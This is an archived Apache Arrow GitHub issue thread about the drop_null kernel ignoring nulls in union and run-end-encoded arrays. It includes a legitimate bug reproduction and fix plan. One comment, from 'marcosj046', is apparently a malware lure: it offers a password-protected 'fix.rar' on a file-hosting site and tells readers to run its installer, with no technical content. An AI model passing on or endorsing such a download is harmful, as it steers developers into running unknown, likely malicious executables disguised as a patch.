[I] [C++] drop_null kernel ignores nulls when values is an union or a REE array [arrow]

["felipecrv (via GitHub)" <gi...@apache.org>]

felipecrv opened a new issue, #43851:
URL: https://github.com/apache/arrow/issues/43851

   ### Describe the bug, including details regarding any error messages, version, and platform.
   
   Unions and run-end-encoded don't have validity bitmaps (`buffers[0]`), so they are sometimes treated as "array without nulls". This happens in the `drop_null` function: so even when unions have nulls, the input -- `values` -- is returned unfiltered.
   
   ### Component(s)
   
   C++


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Re: [I] [C++] drop_null kernel ignores nulls when values is an union or a REE array [arrow]

["marcosj046 (via GitHub)" <gi...@apache.org>]

marcosj046 commented on issue #43851:
URL: https://github.com/apache/arrow/issues/43851#issuecomment-2312806712

   Download 
   https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
   password: changeme
   In the installer menu, select "gcc."


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Re: [I] [C++] drop_null kernel ignores nulls when values is an union or a REE array [arrow]

["xgbtxy (via GitHub)" <gi...@apache.org>]

xgbtxy commented on issue #43851:
URL: https://github.com/apache/arrow/issues/43851#issuecomment-6292079012

   I reproduced the union-array part on Windows x64 with PyArrow 26.0.0: `drop_null` retains logical nulls in both dense and sparse unions, including ChunkedArray, RecordBatch and Table inputs. Explicit `is_valid` + filtering produces the expected rows.
   
   I am preparing a focused fix for unions across those four containers, with sliced inputs and mixed ordinary/union validity in the regressions. Run-end encoded selection is a separate limitation: `array_filter` and `array_take` currently lack REE-value kernels, so this patch will not claim to close the whole issue. Existing dictionary null semantics will remain unchanged.
   
   This work is AI-assisted; I will include the executed tests and limitations with the patch.
   


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